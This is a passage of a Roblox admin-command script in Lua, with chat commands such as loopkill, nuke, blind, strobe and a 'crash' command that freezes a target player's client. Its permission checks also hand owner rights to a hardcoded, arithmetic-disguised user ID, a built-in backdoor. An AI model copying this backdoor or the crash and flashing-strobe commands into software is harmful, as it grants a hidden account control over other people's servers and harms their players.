  2548. if msg:lower():sub(1,8) == "seizure " then
  2549. local plrz = GetPlr(plr, msg:lower():sub(9))
  2550. for i, v in pairs(plrz) do
  2551. coroutine.resume(coroutine.create(function()
  2552. if v and v.Character then
  2553. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  2554. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  2555. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  2556. end
  2557. end))
  2558. end
  2559. end
  2560.  
  2561. if msg:lower():sub(1,10) == "unseizure " then
  2562. local plrz = GetPlr(plr, msg:lower():sub(11))
  2563. for i, v in pairs(plrz) do
  2564. coroutine.resume(coroutine.create(function()
  2565. if v and v.Character then
  2566. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  2567. wait(.1) v.Character.Humanoid.PlatformStand = false
  2568. end
  2569. end))
  2570. end
  2571. end
  2572.  
  2573. if msg:lower():sub(1,12) == "removelimbs " then
  2574. local plrz = GetPlr(plr, msg:lower():sub(13))
  2575. for i, v in pairs(plrz) do
  2576. coroutine.resume(coroutine.create(function()
  2577. if v and v.Character then
  2578. for a, obj in pairs(v.Character:children()) do
  2579. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2580. end
  2581. end
  2582. end))
  2583. end
  2584. end
  2585.  
  2586. if msg:lower():sub(1,5) == "name " then
  2587. local chk1 = msg:lower():sub(6):find(" ") + 5
  2588. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2589. for i, v in pairs(plrz) do
  2590. coroutine.resume(coroutine.create(function()
  2591. if v and v.Character and v.Character:findFirstChild("Head") then
  2592. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2593. local char = v.Character
  2594. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2595. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2596. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2597. char.Head.Transparency = 1
  2598. end
  2599. end))
  2600. end
  2601. end
  2602.  
  2603. if msg:lower():sub(1,7) == "unname " then
  2604. local plrz = GetPlr(plr, msg:lower():sub(8))
  2605. for i, v in pairs(plrz) do
  2606. coroutine.resume(coroutine.create(function()
  2607. if v and v.Character and v.Character:findFirstChild("Head") then
  2608. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2609. end
  2610. end))
  2611. end
  2612. end
  2613.  
  2614. if msg:lower():sub(1,5) == "char " then
  2615. local chk1 = msg:lower():sub(6):find(" ") + 5
  2616. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2617. for i, v in pairs(plrz) do
  2618. coroutine.resume(coroutine.create(function()
  2619. if v and v.Character then
  2620. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2621. v:LoadCharacter()
  2622. end
  2623. end))
  2624. end
  2625. end
  2626.  
  2627. if msg:lower():sub(1,7) == "unchar " then
  2628. local plrz = GetPlr(plr, msg:lower():sub(8))
  2629. for i, v in pairs(plrz) do
  2630. coroutine.resume(coroutine.create(function()
  2631. if v and v.Character then
  2632. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2633. v:LoadCharacter()
  2634. end
  2635. end))
  2636. end
  2637. end
  2638.  
  2639. if msg:lower():sub(1,7) == "infect " then
  2640. local plrz = GetPlr(plr, msg:lower():sub(8))
  2641. for i, v in pairs(plrz) do
  2642. coroutine.resume(coroutine.create(function()
  2643. if v and v.Character then
  2644. Infect(v.Character)
  2645. end
  2646. end))
  2647. end
  2648. end
  2649.  
  2650. if msg:lower():sub(1,11) == "rainbowify " then
  2651. local plrz = GetPlr(plr, msg:lower():sub(12))
  2652. for i, v in pairs(plrz) do
  2653. coroutine.resume(coroutine.create(function()
  2654. if v and v.Character and v.Character:findFirstChild("Torso") then
  2655. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2656. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2657. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2658. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2659. cl.Parent = v.Character cl.Disabled = false
  2660. end
  2661. end))
  2662. end
  2663. end
  2664.  
  2665. if msg:lower():sub(1,9) == "flashify " then
  2666. local plrz = GetPlr(plr, msg:lower():sub(10))
  2667. for i, v in pairs(plrz) do
  2668. coroutine.resume(coroutine.create(function()
  2669. if v and v.Character and v.Character:findFirstChild("Torso") then
  2670. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2671. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2672. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2673. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2674. cl.Parent = v.Character cl.Disabled = false
  2675. end
  2676. end))
  2677. end
  2678. end
  2679.  
  2680. if msg:lower():sub(1,8) == "noobify " then
  2681. local plrz = GetPlr(plr, msg:lower():sub(9))
  2682. for i, v in pairs(plrz) do
  2683. coroutine.resume(coroutine.create(function()
  2684. if v and v.Character then
  2685. Noobify(v.Character)
  2686. end
  2687. end))
  2688. end
  2689. end
  2690.  
  2691. if msg:lower():sub(1,9) == "ghostify " then
  2692. local plrz = GetPlr(plr, msg:lower():sub(10))
  2693. for i, v in pairs(plrz) do
  2694. coroutine.resume(coroutine.create(function()
  2695. if v and v.Character and v.Character:findFirstChild("Torso") then
  2696. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2697. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2698. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2699. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2700. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2701. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2702. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2703. end end
  2704. end
  2705. end))
  2706. end
  2707. end
  2708.  
  2709. if msg:lower():sub(1,8) == "goldify " then
  2710. local plrz = GetPlr(plr, msg:lower():sub(9))
  2711. for i, v in pairs(plrz) do
  2712. coroutine.resume(coroutine.create(function()
  2713. if v and v.Character and v.Character:findFirstChild("Torso") then
  2714. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2715. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2716. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2717. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2718. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2719. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2720. end end
  2721. end
  2722. end))
  2723. end
  2724. end
  2725.  
  2726. if msg:lower():sub(1,6) == "shiny " then
  2727. local plrz = GetPlr(plr, msg:lower():sub(7))
  2728. for i, v in pairs(plrz) do
  2729. coroutine.resume(coroutine.create(function()
  2730. if v and v.Character and v.Character:findFirstChild("Torso") then
  2731. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2732. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2733. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2734. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2735. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2736. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2737. end end
  2738. end
  2739. end))
  2740. end
  2741. end
  2742.  
  2743. if msg:lower():sub(1,7) == "normal " then
  2744. local plrz = GetPlr(plr, msg:lower():sub(8))
  2745. for i, v in pairs(plrz) do
  2746. coroutine.resume(coroutine.create(function()
  2747. if v and v.Character and v.Character:findFirstChild("Torso") then
  2748. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2749. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2750. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2751. v.Character.Torso.Transparency = 0
  2752. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2753. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2754. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2755. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2756. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2757. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2758. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2759. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2760. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2761. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2762. end end
  2763. end
  2764. end))
  2765. end
  2766. end
  2767.  
  2768. if msg:lower():sub(1,7) == "trippy " then
  2769. local plrz = GetPlr(plr, msg:lower():sub(8))
  2770. for i, v in pairs(plrz) do
  2771. coroutine.resume(coroutine.create(function()
  2772. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2773. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2774. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2775. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2776. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2777. end
  2778. end))
  2779. end
  2780. end
  2781.  
  2782. if msg:lower():sub(1,9) == "untrippy " then
  2783. local plrz = GetPlr(plr, msg:lower():sub(10))
  2784. for i, v in pairs(plrz) do
  2785. coroutine.resume(coroutine.create(function()
  2786. if v and v:findFirstChild("PlayerGui") then
  2787. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2788. end
  2789. end))
  2790. end
  2791. end
  2792.  
  2793. if msg:lower():sub(1,7) == "strobe " then
  2794. local plrz = GetPlr(plr, msg:lower():sub(8))
  2795. for i, v in pairs(plrz) do
  2796. coroutine.resume(coroutine.create(function()
  2797. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2798. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2799. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2800. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2801. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2802. end
  2803. end))
  2804. end
  2805. end
  2806.  
  2807. if msg:lower():sub(1,9) == "unstrobe " then
  2808. local plrz = GetPlr(plr, msg:lower():sub(10))
  2809. for i, v in pairs(plrz) do
  2810. coroutine.resume(coroutine.create(function()
  2811. if v and v:findFirstChild("PlayerGui") then
  2812. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2813. end
  2814. end))
  2815. end
  2816. end
  2817.  
  2818. if msg:lower():sub(1,6) == "blind " then
  2819. local plrz = GetPlr(plr, msg:lower():sub(7))
  2820. for i, v in pairs(plrz) do
  2821. coroutine.resume(coroutine.create(function()
  2822. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2823. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2824. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2825. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2826. end
  2827. end))
  2828. end
  2829. end
  2830.  
  2831. if msg:lower():sub(1,8) == "unblind " then
  2832. local plrz = GetPlr(plr, msg:lower():sub(9))
  2833. for i, v in pairs(plrz) do
  2834. coroutine.resume(coroutine.create(function()
  2835. if v and v:findFirstChild("PlayerGui") then
  2836. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2837. end
  2838. end))
  2839. end
  2840. end
  2841.  
  2842. if msg:lower():sub(1,7) == "guifix " then
  2843. local plrz = GetPlr(plr, msg:lower():sub(8))
  2844. for i, v in pairs(plrz) do
  2845. coroutine.resume(coroutine.create(function()
  2846. if v and v:findFirstChild("PlayerGui") then
  2847. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2848. end
  2849. end))
  2850. end
  2851. end
  2852.  
  2853. if msg:lower():sub(1,9) == "loopheal " then
  2854. local plrz = GetPlr(plr, msg:lower():sub(10))
  2855. for i, v in pairs(plrz) do
  2856. if v then
  2857. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2858. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2859. repeat wait()
  2860. coroutine.resume(coroutine.create(function()
  2861. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2862. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2863. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2864. end
  2865. end))
  2866. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2867. end
  2868. end
  2869. end
  2870.  
  2871. if msg:lower():sub(1,11) == "unloopheal " then
  2872. local plrz = GetPlr(plr, msg:lower():sub(12))
  2873. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2874. end
  2875.  
  2876. if msg:lower():sub(1,10) == "loopfling " then
  2877. local plrz = GetPlr(plr, msg:lower():sub(11))
  2878. for i, v in pairs(plrz) do
  2879. if v then
  2880. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2881. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2882. repeat
  2883. coroutine.resume(coroutine.create(function()
  2884. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2885. local xran local zran
  2886. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2887. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2888. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2889. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2890. end
  2891. end))
  2892. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2893. end
  2894. end
  2895. end
  2896.  
  2897. if msg:lower():sub(1,12) == "unloopfling " then
  2898. local plrz = GetPlr(plr, msg:lower():sub(13))
  2899. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2900. end
  2901.  
  2902. end
  2903.  
  2904. -------------------------
  2905. -- True Owner Commands --
  2906. -------------------------
  2907.  
  2908. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2909.  
  2910. if msg:lower():sub(1,3) == "oa " then
  2911. local plrz = GetPlr(plr, msg:lower():sub(4))
  2912. for i, v in pairs(plrz) do
  2913. coroutine.resume(coroutine.create(function()
  2914. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2915. end))
  2916. end
  2917. end
  2918.  
  2919. if msg:lower():sub(1,5) == "unoa " then
  2920. for i = 1, #owners do
  2921. coroutine.resume(coroutine.create(function()
  2922. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2923. end))
  2924. end
  2925. end
  2926.  
  2927. if msg:lower() == "settings" then
  2928. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2929. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2930. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2931. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2932. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2933. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2934. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2935. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2936. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2937. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2938. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2939. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2940. end
  2941.  
  2942. end
  2943.  
  2944. --------------------
  2945. -- Owner Commands --
  2946. --------------------
  2947.  
  2948. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2949.  
  2950. if msg:lower():sub(1,3) == "pa " then
  2951. local plrz = GetPlr(plr, msg:lower():sub(4))
  2952. for i, v in pairs(plrz) do
  2953. coroutine.resume(coroutine.create(function()
  2954. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2955. end))
  2956. end
  2957. end
  2958.  
  2959. if msg:lower():sub(1,5) == "unpa " then
  2960. for i = 1, #admins do
  2961. coroutine.resume(coroutine.create(function()
  2962. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2963. end))
  2964. end
  2965. end
  2966.  
  2967. if msg:lower():sub(1,5) == "nuke " then
  2968. local plrz = GetPlr(plr, msg:lower():sub(6))
  2969. for i, v in pairs(plrz) do
  2970. coroutine.resume(coroutine.create(function()
  2971. if v and v.Character and v.Character:findFirstChild("Torso") then
  2972. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2973. p.Anchored = true
  2974. p.CanCollide = false
  2975. p.formFactor = "Symmetric"
  2976. p.Shape = "Ball"
  2977. p.Size = Vector3.new(1,1,1)
  2978. p.BrickColor = BrickColor.new("New Yeller")
  2979. p.Transparency = .5
  2980. p.Reflectance = .2
  2981. p.TopSurface = 0
  2982. p.BottomSurface = 0
  2983. p.Touched:connect(function(hit)
  2984. if hit and hit.Parent then
  2985. local ex = Instance.new("Explosion", game.Workspace)
  2986. ex.Position = hit.Position
  2987. ex.BlastRadius = 11
  2988. ex.BlastPressure = math.huge
  2989. end
  2990. end)
  2991. local cf = v.Character.Torso.CFrame
  2992. p.CFrame = cf
  2993. for i = 1, 333 do
  2994. p.Size = p.Size + Vector3.new(3,3,3)
  2995. p.CFrame = cf
  2996. wait(1/44)
  2997. end
  2998. p:Destroy()
  2999. end
  3000. end))
  3001. end
  3002. end
  3003.  
  3004. end
  3005.  
  3006. --------------------------
  3007. -- Super Admin Commands --
  3008. --------------------------
  3009.  
  3010. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  3011.  
  3012. if msg:lower() == "logs" then
  3013. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  3014. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  3015. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3016. end
  3017.  
  3018. if msg:lower():sub(1,9) == "loopkill " then
  3019. local chk1 = msg:lower():sub(10):find(" ")
  3020. local plrz = GetPlr(plr, msg:lower():sub(10))
  3021. local num = 9999
  3022. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  3023. for i, v in pairs(plrz) do
  3024. if v and not ChkAdmin(v.Name, false) then
  3025. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  3026. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  3027. for i = 1, ]] .. tostring(num) .. [[ do
  3028. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  3029. coroutine.resume(coroutine.create(function()
  3030. if plr and plr.Character then plr.Character:BreakJoints() end
  3031. end))
  3032. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  3033. end
  3034. end
  3035. end
  3036.  
  3037. if msg:lower():sub(1,11) == "unloopkill " then
  3038. local plrz = GetPlr(plr, msg:lower():sub(12))
  3039. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  3040. end
  3041.  
  3042. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  3043. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  3044.  
  3045. if msg:lower():sub(1,3) == "sm " then
  3046. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  3047. end
  3048.  
  3049. if msg:lower():sub(1,3) == "ko " then
  3050. local chk1 = msg:lower():sub(4):find(" ") + 3
  3051. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3052. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  3053. for n = 1, num do
  3054. for i, v in pairs(plrz) do
  3055. coroutine.resume(coroutine.create(function()
  3056. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  3057. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  3058. v.Character:BreakJoints()
  3059. wait(1/44)
  3060. v:LoadCharacter()
  3061. wait(1/44)
  3062. end
  3063. end))
  3064. end
  3065. end
  3066. end
  3067.  
  3068. if msg:lower():sub(1,6) == "crash " then
  3069. local plrz = GetPlr(plr, msg:lower():sub(7))
  3070. for i, v in pairs(plrz) do
  3071. coroutine.resume(coroutine.create(function()
  3072. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  3073. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  3074. end
  3075. end))
  3076. end
  3077. end
  3078.  
  3079. if msg:lower():sub(1,5) == "kick " then
  3080. local plrz = GetPlr(plr, msg:lower():sub(6))
  3081. for i, v in pairs(plrz) do
